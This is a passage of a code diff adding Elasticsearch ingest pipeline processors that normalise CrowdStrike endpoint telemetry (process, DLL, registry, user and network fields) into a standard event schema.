+        float s = Float.parseFloat(ctx.crowdstrike?.ProcessStartTime);
+        float e = Float.parseFloat(ctx.crowdstrike?.ProcessEndTime);
+        if (e >= s) {
+          if (ctx.process == null) {
+            ctx.process = [:];
+          }
+          ctx.process.uptime = (long) ((e-s)/1000L);
+        }
+  - script:
+      description: Parse raw process id's so that they roll over if out of 32-bit range
+      tag: parse_raw_pids_08a5864a
+      source: |-
+        def parsePid(String pid) {
+          try {
+            return Long.parseUnsignedLong(pid);
+          } catch (Exception e) {
+            return pid;
+          }
+        }
+        if (ctx.crowdstrike?.RawProcessId != null) {
+          ctx.crowdstrike.RawProcessId = parsePid(ctx.crowdstrike.RawProcessId);
+        }
+        if (ctx.crowdstrike?.EtwRawProcessId != null) {
+          ctx.crowdstrike.EtwRawProcessId = parsePid(ctx.crowdstrike.EtwRawProcessId);
+        }
+  - date:
+      tag: date_process_start_time_a2b0d5f4
+      if: ctx.crowdstrike?.ProcessStartTime != null && ctx.crowdstrike.ProcessStartTime != '' && ctx.crowdstrike.ProcessStartTime != 'none'
+      field: crowdstrike.ProcessStartTime
+      target_field: crowdstrike.ProcessStartTime
+      formats:
+        - UNIX
+  - rename:
+      tag: rename_crowdstrike_ProcessStartTime_to_process_start_84d4376c
+      if: ctx.crowdstrike?.ProcessStartTime != ""
+      field: crowdstrike.ProcessStartTime
+      target_field: process.start
+      ignore_missing: true
+  - date:
+      tag: date_process_end_time_160e9fbf
+      if: ctx.crowdstrike?.ProcessEndTime != null && ctx.crowdstrike.ProcessEndTime != '' && ctx.crowdstrike.ProcessEndTime != 'none'
+      field: crowdstrike.ProcessEndTime
+      target_field: crowdstrike.ProcessEndTime
+      formats:
+        - UNIX
+  - rename:
+      tag: rename_crowdstrike_ProcessEndTime_to_process_end_965ac751
+      if: ctx.crowdstrike?.ProcessEndTime != ""
+      field: crowdstrike.ProcessEndTime
+      target_field: process.end
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_RawProcessId_to_process_pid_937882e3
+      field: crowdstrike.RawProcessId
+      target_field: process.pid
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_TargetProcessId_to_string_d9f8029c
+      if: ctx.crowdstrike?.TargetProcessId != null && !(ctx.crowdstrike.TargetProcessId instanceof String)
+      field: crowdstrike.TargetProcessId
+      type: string
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_TargetProcessId_to_process_entity_id_9f979af6
+      field: crowdstrike.TargetProcessId
+      target_field: process.entity_id
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_ParentProcessId_to_string_53eeefcb
+      if: ctx.crowdstrike?.ParentProcessId != null && !(ctx.crowdstrike.ParentProcessId instanceof String)
+      field: crowdstrike.ParentProcessId
+      type: string
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_ParentProcessId_to_process_parent_entity_id_71941ac7
+      field: crowdstrike.ParentProcessId
+      target_field: process.parent.entity_id
+      ignore_missing: true
+  - set:
+      tag: set_process_name_40e79739
+      if: ctx._temp?.isNetwork == true
+      field: process.name
+      copy_from: crowdstrike.ContextBaseFileName
+      ignore_empty_value: true
+  - rename:
+      tag: rename_crowdstrike_ParentBaseFileName_to_process_parent_name_759f7011
+      field: crowdstrike.ParentBaseFileName
+      target_field: process.parent.name
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_ProcessGroupId_to_long_5a3ca809
+      field: crowdstrike.ProcessGroupId
+      type: long
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_ProcessGroupId_to_process_pgid_8830e8d1
+      field: crowdstrike.ProcessGroupId
+      target_field: process.pgid
+      ignore_missing: true
+  - set:
+      tag: set_process_entity_id_3f15b261
+      if: ctx.process?.entity_id == null
+      field: process.entity_id
+      copy_from: crowdstrike.ContextProcessId
+      ignore_empty_value: true
+  - convert:
+      tag: convert_crowdstrike_ContextThreadId_to_long_b92c0503
+      if: ctx.process?.thread?.id == null
+      field: crowdstrike.ContextThreadId
+      type: long
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_ContextThreadId_to_process_thread_id_55924d4f
+      if: ctx.process?.thread?.id == null
+      field: crowdstrike.ContextThreadId
+      target_field: process.thread.id
+      ignore_missing: true
+      ignore_failure: true
+  - rename:
+      tag: rename_crowdstrike_EtwRawProcessId_to_process_pid_e92b8449
+      if: ctx.process?.pid == null
+      field: crowdstrike.EtwRawProcessId
+      target_field: process.pid
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_EtwRawThreadId_to_long_9652eb55
+      field: crowdstrike.EtwRawThreadId
+      type: long
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_EtwRawThreadId_to_process_thread_id_4bfcaba5
+      if: ctx.process?.thread?.id == null
+      field: crowdstrike.EtwRawThreadId
+      target_field: process.thread.id
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_ServiceDisplayName_to_process_title_50009d18
+      field: crowdstrike.ServiceDisplayName
+      target_field: process.title
+      ignore_missing: true
+  - rename:
+      tag: rename__temp_hashes_to_process_hash_cdaa452a
+      if: |-
+        ctx.event?.action != null &&
+        (ctx.event.action.contains("Process") || ctx.event.action.contains("Service")) &&
+        ctx._temp?.hashes != null && ctx._temp?.hashes.size() > 0
+      field: _temp.hashes
+      target_field: process.hash
+  - script:
+      tag: integrity_level_1169d16e
+      if: ctx.crowdstrike?.IntegrityLevel != null
+      params:
+        levels:
+          "0": UNTRUSTED
+          "4096": LOW
+          "8192": MEDIUM
+          "8448": MEDIUM_PLUS
+          "12288": HIGH
+          "16384": SYSTEM
+          "20480": PROTECTED
+      source: |-
+        String level = params.get('levels')[ctx.crowdstrike.IntegrityLevel];
+        if (level != null) {
+          ctx.process = ctx.process ?: [:];
+          ctx.process.Ext = ctx.process.Ext ?: [:];
+          ctx.process.Ext.token = ctx.process.Ext.token ?: [:];
+          ctx.process.Ext.token.integrity_level_name = level;
+        }
+  - set:
+      tag: set_process_pe_original_file_name_8552e0df
+      if: ctx._temp?.isProcess == true && ctx.host?.os?.type == 'windows'
+      field: process.pe.original_file_name
+      copy_from: crowdstrike.OriginalFilename
+      ignore_empty_value: true
+  - convert:
+      tag: convert_process_pgid_to_string_into_process_group_leader_entity_id_88870118
+      if: ctx._temp?.isProcess == true && ctx.host?.os?.type == 'linux'
+      field: process.pgid
+      type: string
+      target_field: process.group_leader.entity_id
+      ignore_missing: true
+  - set:
+      tag: set_process_real_user_id_d36a1e14
+      field: process.real_user.id
+      copy_from: crowdstrike.RUID
+      ignore_empty_value: true
+  - set:
+      tag: set_user_Ext_real_id_4bbeee1a
+      field: user.Ext.real.id
+      copy_from: process.real_user.id
+      ignore_empty_value: true
+  - set:
+      tag: set_process_real_group_id_01a52390
+      if: ctx.host?.os?.type == 'linux'
+      field: process.real_group.id
+      copy_from: crowdstrike.RGID
+      ignore_empty_value: true
+  - set:
+      tag: set_group_Ext_real_id_1ca7802a
+      field: group.Ext.real.id
+      copy_from: process.real_group.id
+      ignore_empty_value: true
+  - set:
+      tag: set_process_group_id_69005b41
+      if: ctx.host?.os?.type == 'linux'
+      field: process.group.id
+      copy_from: crowdstrike.GID
+      ignore_empty_value: true
+  - set:
+      tag: set_group_id_0c978126
+      field: group.id
+      copy_from: process.group.id
+      ignore_empty_value: true
+
+  # Library fields.
+  - set:
+      tag: set_event_action_735cfe72
+      if: ctx._temp?.isDriver == true
+      field: event.action
+      value: load
+  - set:
+      tag: set_dll_pe_original_file_name_7a4c66c0
+      if: (ctx._temp?.isLibrary == true || ctx._temp?.isDriver == true) && ctx.host?.os?.type == 'windows'
+      field: dll.pe.original_file_name
+      copy_from: crowdstrike.OriginalFilename
+      ignore_empty_value: true
+  - rename:
+      tag: rename_process_name_to_dll_name_9234d620
+      if: ctx._temp?.isLibrary == true && ctx.host?.os?.type == 'windows'
+      field: process.name
+      target_field: dll.name
+      ignore_missing: true
+  - rename:
+      tag: rename_process_executable_to_dll_path_992bcd8f
+      if: ctx._temp?.isLibrary == true && ctx.host?.os?.type == 'windows'
+      field: process.executable
+      target_field: dll.path
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_MD5HashData_to_dll_hash_md5_0d2bcdb4
+      if: (ctx._temp?.isLibrary == true || ctx._temp?.isDriver == true) && ctx.host?.os?.type == 'windows'
+      field: crowdstrike.MD5HashData
+      target_field: dll.hash.md5
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_SHA1HashData_to_dll_hash_sha1_2733445a
+      if: ctx._temp?.isLibrary == true && ctx.host?.os?.type == 'windows'
+      field: crowdstrike.SHA1HashData
+      target_field: dll.hash.sha1
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_SHA256HashData_to_dll_hash_sha256_aaaae286
+      if: (ctx._temp?.isLibrary == true || ctx._temp?.isDriver == true) && ctx.host?.os?.type == 'windows'
+      field: crowdstrike.SHA256HashData
+      target_field: dll.hash.sha256
+      ignore_missing: true
+  - convert:
+      tag: convert_crowdstrike_ModuleSize_to_long_into_dll_Ext_size_42bb289b
+      if: ctx.crowdstrike?.ModuleSize != '' && ctx.host?.os?.type == 'windows'
+      field: crowdstrike.ModuleSize
+      type: long
+      target_field: dll.Ext.size
+      ignore_missing: true
+      ignore_failure: true
+  - script:
+      tag: script_set_dll_name_ac696ad2
+      if: |-
+        (ctx._temp?.isLibrary == true || ctx._temp?.isDriver == true) &&
+        ctx.crowdstrike?.ImageFileName != null &&
+        ctx.host?.os?.type == 'windows'
+      source: |-
+        int idx = ctx.crowdstrike.ImageFileName.lastIndexOf('\\');
+        if (idx >= 0) {
+          ctx.dll = ctx.dll ?: [:];
+          ctx.dll.name = ctx.crowdstrike.ImageFileName.substring(idx+1);
+        }
+      ignore_failure: true
+  - rename:
+      tag: rename_crowdstrike_ImageFileName_to_dll_path_0ebfe574
+      if: |-
+        (ctx.event?.action == 'ClassifiedModuleLoad' || ctx._temp?.isDriver == true) &&
+        ctx.host?.os?.type == 'windows'
+      field: crowdstrike.ImageFileName
+      target_field: dll.path
+      ignore_missing: true
+  - script:
+      tag: script_set_process_name_8064aa04
+      if: ctx._temp?.isLibrary == true && ctx.crowdstrike?.TargetImageFileName != null && ctx.host?.os?.type == 'windows'
+      source: |-
+        int idx = ctx.crowdstrike.TargetImageFileName.lastIndexOf('\\');
+        if (idx >= 0) {
+          ctx.process = ctx.process ?: [:];
+          ctx.process.name = ctx.crowdstrike.TargetImageFileName.substring(idx+1);
+        }
+      ignore_failure: true
+  - rename:
+      tag: rename_crowdstrike_TargetImageFileName_to_process_executable_8f82dd8a
+      if: ctx._temp?.isLibrary == true && ctx.host?.os?.type == 'windows'
+      field: crowdstrike.TargetImageFileName
+      target_field: process.executable
+      ignore_missing: true
+  - script:
+      tag: script_set_process_name_40278491
+      if: |-
+        ctx.event?.action == 'ClassifiedModuleLoad' &&
+        ctx.crowdstrike?.ImageSignatureLevel != null &&
+        ctx.crowdstrike.ImageSignatureLevel != '' &&
+        ctx.crowdstrike?.ImageSignatureType != null &&
+        ctx.crowdstrike.ImageSignatureType != ''
+      source: |-
+        long signatureLevel = Long.parseLong(ctx.crowdstrike.ImageSignatureLevel);
+        long signatureType = Long.parseLong(ctx.crowdstrike.ImageSignatureType);
+        ctx.dll = ctx.dll ?: [:];
+        ctx.dll.code_signature = ctx.dll.code_signature ?: [:];
+        if (signatureType == 0) {
+          ctx.dll.code_signature.exists = false;
+          ctx.dll.code_signature.trusted = false;
+        } else if (signatureType >= 1 && (signatureLevel == 0 || signatureLevel == 1)) {
+          ctx.dll.code_signature.exists = true;
+          ctx.dll.code_signature.trusted = false;
+        } else if (signatureType >= 1 && signatureLevel >= 2) {
+          ctx.dll.code_signature.exists = true;
+          ctx.dll.code_signature.trusted = true;
+        }
+      on_failure:
+        - append:
+            tag: append_error_message_db7ae317
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      tag: set_dll_code_signature_subject_name_67c64e63
+      if: ctx._temp?.isDriver == true && ctx.host?.os?.type == 'windows'
+      field: dll.code_signature.subject_name
+      copy_from: crowdstrike.CertificatePublisher
+      ignore_empty_value: true
+
+  # Registry fields.
+  - append:
+      tag: append_registry_data_strings_d0edbd10
+      if: ctx.crowdstrike?.RegStringValue != null && ctx.crowdstrike.RegStringValue != ''
+      field: registry.data.strings
+      value: '{{{crowdstrike.RegStringValue}}}'
+      allow_duplicates: false
+  - set:
+      tag: set_registry_path_e6aa2a33
+      if: ctx.crowdstrike?.RegObjectName != null && ctx.crowdstrike.RegObjectName != '' && ctx.crowdstrike?.RegValueName != null && ctx.crowdstrike.RegValueName != ''
+      field: registry.path
+      value: '{{{crowdstrike.RegObjectName}}}\{{{crowdstrike.RegValueName}}}'
+  - set:
+      tag: set_registry_path_49d20af1
+      if: ctx.crowdstrike?.RegValueName == null || ctx.crowdstrike.RegValueName == ''
+      field: registry.path
+      copy_from: crowdstrike.RegObjectName
+      ignore_empty_value: true
+  - set:
+      tag: set_registry_value_4b43d250
+      field: registry.value
+      copy_from: crowdstrike.RegValueName
+      ignore_empty_value: true
+  - gsub:
+      tag: gsub_crowdstrike_RegObjectName_into_registry_key_5c4a7818
+      field: crowdstrike.RegObjectName
+      target_field: registry.key
+      pattern: ^\\REGISTRY\\(?:USER|MACHINE)\\
+      replacement: ""
+      ignore_missing: true
+      ignore_failure: true
+  - script:
+      tag: script_set_event_action_and_type_29345ceb
+      if: ctx.crowdstrike?.RegOperationType != null
+      params:
+        op_types:
+          "1":
+            action: modification
+            type: change
+          "2":
+            action: deletion
+            type: deletion
+          "3":
+            action: creation
+            type: creation
+          "4":
+            action: deletion
+            type: deletion
+          "5":
+            action: modification
+            type: change
+          "6":
+            action: load
+            type: info
+          "7":
+            action: modification
+            type: change
+          "8":
+            action: open
+            type: access
+          "9":
+            action: query
+            type: access
+      source: |-
+        def op = params.get('op_types')[ctx.crowdstrike.RegOperationType];
+        if (op != null) {
+          ctx.event = ctx.event ?: [:];
+          ctx.event.type = [];
+          ctx.event.type.add(op.type);
+          ctx.event.action = op.action;
+        }
+  - script:
+      tag: script_set_registry_data_type_e45a255a
+      if: ctx.crowdstrike?.RegType != null
+      params:
+        data_types:
+          "0": REG_NONE
+          "1": REG_SZ
+          "2": REG_EXPAND_SZ
+          "3": REG_BINARY
+          "4": REG_DWORD
+          "5": REG_DWORD_BIG_ENDIAN
+          "6": REG_LINK
+          "7": REG_MULTI_SZ
+          "8": REG_RESOURCE_LIST
+          "9": REG_FULL_RESOURCE_DESCRIPTOR
+          "10": REG_RESOURCE_REQUIREMENTS_LIST
+          "11": REG_QWORD
+      source: |-
+        String data_type = params.get('data_types')[ctx.crowdstrike.RegType];
+        if (data_type != null) {
+          ctx.registry = ctx.registry ?: [:];
+          ctx.registry.data = ctx.registry.data ?: [:];
+          ctx.registry.data.type = data_type;
+        }
+
+  # User fields.
+  - rename:
+      tag: rename_crowdstrike_UID_to_user_id_a7e7d9cf
+      field: crowdstrike.UID
+      target_field: user.id
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_info_user_UserName_to_user_name_cc930c2f
+      if: ctx.crowdstrike?.info?.user?.UserName != null && ctx.user?.name == null
+      field: crowdstrike.info.user.UserName
+      target_field: user.name
+      ignore_missing: true
+  - split:
+      tag: split_crowdstrike_info_user_User_into__temp_info_user_parts_dee4af27
+      if: ctx.crowdstrike?.info?.user?.User != null
+      field: crowdstrike.info.user.User
+      separator: \\{1,2}
+      target_field: _temp.info_user_parts
+  - set:
+      tag: set_user_domain_6f97903f
+      if: ctx._temp?.info_user_parts != null && ctx._temp.info_user_parts.size() == 2
+      field: user.domain
+      value: '{{{_temp.info_user_parts.0}}}'
+      ignore_empty_value: true
+      ignore_failure: true
+  - rename:
+      tag: rename_crowdstrike_info_user_User_to_user_name_6ec3ffdd
+      if: ctx.crowdstrike?.info?.user?.User != null && ctx.user?.name == null
+      field: crowdstrike.info.user.User
+      target_field: user.name
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_GID_to_user_group_id_5c9b8998
+      field: crowdstrike.GID
+      target_field: user.group.id
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_UserSid_to_user_id_1cec3193
+      if: ctx.user?.id == null || ctx.user.id == ""
+      field: crowdstrike.UserSid
+      target_field: user.id
+      ignore_missing: true
+  - set:
+      tag: set_user_id_4f3a664d
+      if: ctx.user?.id == null && ctx._temp?.isFile == true
+      field: user.id
+      copy_from: crowdstrike.FileOperatorSid
+      ignore_empty_value: true
+  - append:
+      tag: append_user_roles_146dad6a
+      if: ctx.crowdstrike?.UserIsAdmin == "1"
+      field: user.roles
+      value: admin
+  - rename:
+      tag: rename_crowdstrike_User_Name_to_user_name_a4ea1f62
+      if: ctx.crowdstrike?.User instanceof Map && ctx.crowdstrike.User.Name != null && ctx.user?.name == null
+      field: crowdstrike.User.Name
+      target_field: user.name
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_User_ID_to_user_id
+      if: ctx.crowdstrike?.User instanceof Map && ctx.crowdstrike.User.ID != null && ctx.user?.id == null
+      field: crowdstrike.User.ID
+      target_field: user.id
+      ignore_missing: true
+  - remove:
+      tag: remove_crowdstrike_User
+      description: Remove User field if it still exist as Map.
+      if: ctx.crowdstrike?.User instanceof Map
+      field: crowdstrike.User
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_UserName_to_user_name_5437c07f
+      if: ctx.crowdstrike?.UserName != null && ctx.user?.name == null
+      field: crowdstrike.UserName
+      target_field: user.name
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_User_to_user_name_bf245c5d
+      if: ctx.crowdstrike?.User instanceof String && ctx.user?.name == null
+      field: crowdstrike.User
+      target_field: user.name
+      ignore_missing: true
+  - split:
+      tag: split_crowdstrike_UserPrincipal_into__temp_user_parts_9fd1bce5
+      if: ctx.crowdstrike?.UserPrincipal != null
+      field: crowdstrike.UserPrincipal
+      separator: '@'
+      target_field: _temp.user_parts
+  - rename:
+      tag: rename_crowdstrike_UserPrincipal_to_user_email_54920c0f
+      field: crowdstrike.UserPrincipal
+      target_field: user.email
+      ignore_missing: true
+  - set:
+      tag: set_user_domain_8dc33fc7
+      if: ctx.user?.domain == null && ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2
+      field: user.domain
+      value: '{{{_temp.user_parts.1}}}'
+      ignore_empty_value: true
+      ignore_failure: true
+  - append:
+      tag: append_user_domain_536a37ed
+      if: ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2
+      field: user.domain
+      value: '{{{_temp.user_parts.1}}}'
+      allow_duplicates: false
+      ignore_failure: true
+  - set:
+      tag: set_user_full_name_7172c7bf
+      if: ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2
+      field: user.full_name
+      value: '{{{_temp.user_parts.0}}}'
+      ignore_empty_value: true
+      ignore_failure: true
+  - set:
+      tag: set_user_name_e3f940d5
+      if: ctx.event?.action instanceof String && ctx.event.action.startsWith('ActiveDirectory')
+      field: user.name
+      copy_from: crowdstrike.SourceAccountSamAccountName
+      ignore_empty_value: true
+  - set:
+      tag: set_user_email_4558e3d3
+      if: |-
+        ctx.event?.action instanceof String && ctx.event.action.startsWith('ActiveDirectory') &&
+        ctx.crowdstrike?.SourceAccountUserName instanceof String && ctx.crowdstrike.SourceAccountUserName.contains('@')
+      field: user.email
+      copy_from: crowdstrike.SourceAccountUserName
+      ignore_empty_value: true
+  - set:
+      tag: set_user_id_12584d3a
+      if: ctx.event?.action instanceof String && ctx.event.action.startsWith('ActiveDirectory')
+      field: user.id
+      copy_from: crowdstrike.SourceEndpointAccountObjectSid
+      ignore_empty_value: true
+  - set:
+      tag: set_user_domain_acdd7f9f
+      if: ctx.event?.action instanceof String && ctx.event.action.startsWith('ActiveDirectory')
+      field: user.domain
+      copy_from: crowdstrike.SourceAccountDomain
+      ignore_empty_value: true
+  - set:
+      tag: set_user_name_d3e6a828
+      if: ctx.event?.action == 'TokenImpersonated'
+      field: user.name
+      copy_from: crowdstrike.OriginalUserName
+      ignore_empty_value: true
+  - set:
+      tag: set_user_id_5a4715df
+      if: ctx.event?.action == 'TokenImpersonated'
+      field: user.id
+      copy_from: crowdstrike.OriginalUserSid
+      ignore_empty_value: true
+  - set:
+      tag: set_user_target_name_e7ea9dab
+      if: ctx.event?.action == 'TokenImpersonated'
+      field: user.target.name
+      copy_from: crowdstrike.ImpersonatedUserName
+      ignore_empty_value: true
+  - set:
+      tag: set_user_name_3ad2bb37
+      if: ctx.event?.action == 'SudoCommandAttempt'
+      field: user.name
+      copy_from: crowdstrike.OriginalUserName
+      ignore_empty_value: true
+  - set:
+      tag: set_user_name_14b4c00f
+      if: (ctx.user?.name == null || ctx.user.name == '') && ctx.event?.action == 'SudoCommandAttempt'
+      field: user.name
+      value: root
+  - set:
+      tag: set_user_id_78c7e383
+      if: ctx.event?.action == 'SudoCommandAttempt'
+      field: user.id
+      copy_from: crowdstrike.OriginalUserID
+      ignore_empty_value: true
+  - set:
+      tag: set_user_id_7471f6df
+      if: ctx.user?.id == null && ctx.event?.action == 'SudoCommandAttempt'
+      field: user.id
+      value: 0
+  - set:
+      tag: set_user_target_name_9dc9fd59
+      if: ctx.event?.action == 'SudoCommandAttempt'
+      field: user.target.name
+      copy_from: crowdstrike.NewUsername
+      ignore_empty_value: true
+  - set:
+      tag: set_user_target_name_bd5b4743
+      if: (ctx.user?.target?.name == null || ctx.user.target.name == '') && ctx.event?.action == 'SudoCommandAttempt'
+      field: user.target.name
+      value: root
+  - set:
+      tag: set_user_target_id_de692ea1
+      if: ctx.event?.action == 'SudoCommandAttempt'
+      field: user.target.id
+      copy_from: crowdstrike.NewUserID
+      ignore_empty_value: true
+  - set:
+      tag: set_user_target_id_aeb7c3f6
+      if: ctx.user?.target?.id == null && ctx.event?.action == 'SudoCommandAttempt'
+      field: user.target.id
+      value: 0
+  - append:
+      tag: append_related_user_3b423052
+      if: ctx.user?.name != null
+      field: related.user
+      value: '{{{user.name}}}'
+      allow_duplicates: false
+      ignore_failure: true
+  - append:
+      tag: append_related_user_f49500fe
+      if: ctx.crowdstrike?.info?.user?.User != null
+      field: related.user
+      value: '{{{crowdstrike.info.user.User}}}'
+      allow_duplicates: false
+      ignore_failure: true
+  - append:
+      tag: append_related_user_a621a20e
+      if: ctx.user?.full_name != null
+      field: related.user
+      value: '{{{user.full_name}}}'
+      allow_duplicates: false
+      ignore_failure: true
+  - append:
+      tag: append_related_user_fd5e2e77
+      if: ctx.user?.target?.name != null
+      field: related.user
+      value: '{{{user.target.name}}}'
+      allow_duplicates: false
+      ignore_failure: true
+  - append:
+      tag: append_related_user_36d4b55a
+      if: ctx.user?.email != null
+      field: related.user
+      value: '{{{user.email}}}'
+      allow_duplicates: false
+      ignore_failure: true
+  - append:
+      tag: append_related_user_3b2f7fde
+      if: ctx.user?.id != null
+      field: related.user
+      value: '{{{user.id}}}'
+      allow_duplicates: false
+      ignore_failure: true
+
+  # Networking fields.
+  - set:
+      tag: set_network_direction_outbound_0a78995a
+      if: ctx.crowdstrike?.ConnectionDirection == "0"
+      field: network.direction
+      value: outbound
+  - set:
+      tag: set_network_direction_inbound_3994c5e4
+      if: ctx.crowdstrike?.ConnectionDirection == "1"
+      field: network.direction
+      value: inbound
+  - set:
+      tag: set_network_direction_unknown_85fe37dc
+      if: ctx.network?.direction == null && ctx.crowdstrike?.ConnectionDirection != null && ctx.crowdstrike.ConnectionDirection != ""
+      field: network.direction
+      value: unknown
+  - split:
+      tag: split_crowdstrike_LocalAddressIP4_f22b33b0
+      if: ctx.crowdstrike?.LocalAddressIP4 != null
+      field: crowdstrike.LocalAddressIP4
+      separator: \s+
+  - convert:
+      tag: convert_crowdstrike_LocalAddressIP4_to_ip_51f6b345
+      if: ctx.crowdstrike?.LocalAddressIP4 instanceof List && ctx.crowdstrike.LocalAddressIP4.length > 0
+      field: crowdstrike.LocalAddressIP4
+      type: ip
+      on_failure:
+        - append:
+            tag: append_error_message_e88e196b
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_RemoteAddressIP4_to_ip_4294f17c
+      field: crowdstrike.RemoteAddressIP4
+      type: ip
+      ignore_missing: true
+  - foreach:
+      tag: foreach_of_crowdstrike_LocalAddressIP4_6d151b47
+      if: ctx.crowdstrike?.LocalAddressIP4 instanceof List && ctx.crowdstrike.LocalAddressIP4.length > 0
+      field: crowdstrike.LocalAddressIP4
+      processor:
+        append:
+          tag: append_related_ip_8dd5b5a0
+          field: related.ip
+          value: '{{{_ingest._value}}}'
+          allow_duplicates: false
+  - split:
+      tag: split_crowdstrike_LocalAddressIP6_fc0e2aa0
+      if: ctx.crowdstrike?.LocalAddressIP6 != null
+      field: crowdstrike.LocalAddressIP6
+      separator: \s+
+  - convert:
+      tag: convert_crowdstrike_LocalAddressIP6_to_ip_7bf75c3b
+      if: ctx.crowdstrike?.LocalAddressIP6 instanceof List && ctx.crowdstrike.LocalAddressIP6.length > 0
+      field: crowdstrike.LocalAddressIP6
+      type: ip
+      on_failure:
+        - append:
+            tag: append_error_message_6fd2c379
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      tag: convert_crowdstrike_RemoteAddressIP6_to_ip_cc6268b6
+      field: crowdstrike.RemoteAddressIP6
+      type: ip
+      ignore_missing: true
+  - foreach:
+      tag: foreach_of_crowdstrike_LocalAddressIP6_73647309
+      if: ctx.crowdstrike?.LocalAddressIP6 instanceof List && ctx.crowdstrike.LocalAddressIP6.length > 0
+      field: crowdstrike.LocalAddressIP6
+      processor:
+        append:
+          tag: append_related_ip_d68eb75e
+          field: related.ip
+          value: '{{{_ingest._value}}}'
+          allow_duplicates: false
+  # The condition for this processor is all non-inbound, but the pipeline operates assuming the
+  # traffic is outbound. In cases where there is no information we make this assumption rather
+  # than dropping the data on the floor.
+  - pipeline:
+      tag: pipeline_outbound_network_dff2c778
+      if: ctx.network?.direction != 'inbound'
+      name: '{{ IngestPipeline "outbound_network" }}'
+  - pipeline:
+      tag: pipeline_inbound_network_256f4a6b
+      if: ctx.network?.direction == 'inbound'
+      name: '{{ IngestPipeline "inbound_network" }}'
+  - rename:
+      tag: rename_crowdstrike_Protocol_to_network_iana_number_c957cab0
+      field: crowdstrike.Protocol
+      target_field: network.iana_number
+      ignore_missing: true
+  - script:
+      tag: network_transport_lookup_6cfaca70
+      if: ctx.network?.iana_number != null
+      source: |-
+        def iana_number = ctx.network.iana_number;
+        if (iana_number == '0') {
+            ctx.network.transport = 'hopopt';
+        } else if (iana_number == '1') {
+            ctx.network.transport = 'icmp';
+        } else if (iana_number == '2') {
+            ctx.network.transport = 'igmp';
+        } else if (iana_number == '6') {
+            ctx.network.transport = 'tcp';
+        } else if (iana_number == '8') {
+            ctx.network.transport = 'egp';
+        } else if (iana_number == '17') {
+            ctx.network.transport = 'udp';
+        } else if (iana_number == '47') {
+            ctx.network.transport = 'gre';
+        } else if (iana_number == '50') {
+            ctx.network.transport = 'esp';
+        } else if (iana_number == '58') {
+            ctx.network.transport = 'ipv6-icmp';
+        } else if (iana_number == '112') {
+            ctx.network.transport = 'vrrp';
+        } else if (iana_number == '132') {
+            ctx.network.transport = 'sctp';
+        }
+  - community_id:
+      tag: community_id_99f56bc8
+      ignore_missing: true
+      ignore_failure: true
+  - append:
+      tag: append_related_ip_de300c66
+      if: ctx.source?.ip != null && ctx.source.ip != ""
+      field: related.ip
+      value: '{{{source.ip}}}'
+      allow_duplicates: false
+  - append:
+      tag: append_related_ip_cb5f9c4b
+      if: ctx.destination?.ip != null && ctx.destination.ip != ""
+      field: related.ip
+      value: '{{{destination.ip}}}'
+      allow_duplicates: false
+  - rename:
+      tag: rename_crowdstrike_MAC_to_source_mac_41d0f60c
+      field: crowdstrike.MAC
+      target_field: source.mac
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_PhysicalAddress_to_source_mac_92994720
+      if: ctx.source?.mac == null
+      field: crowdstrike.PhysicalAddress
+      target_field: source.mac
+      ignore_missing: true
+  - uppercase:
+      tag: uppercase_source_mac_5b4e7be2
+      field: source.mac
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_DownloadServer_to_server_address_42a5dc43
+      field: crowdstrike.DownloadServer
+      target_field: server.address
+      ignore_missing: true
+  - rename:
+      tag: rename_crowdstrike_DownloadPath_to_url_path_93fc692a
+      field: crowdstrike.DownloadPath
+      target_field: url.path
+      ignore_missing: true
+
+  # URL fields.
+  - set:
+      tag: set_url_path_da9a4fde
+      if: ctx.url?.path != null && !ctx.url.path.startsWith("/")
+      field: url.path
+      value: /{{{url.path}}}
+  - registered_domain:
+      tag: registered_domain_server_address_into_server_5b9b14fb
+      field: server.address
+      target_field: server
+      ignore_missing: true
+  - set:
+      tag: set_url_scheme_73338c43
+      if: ctx.crowdstrike?.DownloadPort == 443
+      field: url.scheme
+      value: https
+  - set:
+      tag: set_url_scheme_d61be5fe
+      if: ctx.crowdstrike?.DownloadPort != null && ctx.crowdstrike.DownloadPort != 443
+      field: url.scheme
+      value: http
+  - set:
+      tag: set_url_full_fbad7e02
+      if: ctx.url?.scheme != null && ctx.server?.address != null && ctx.url?.path != null
+      field: url.full
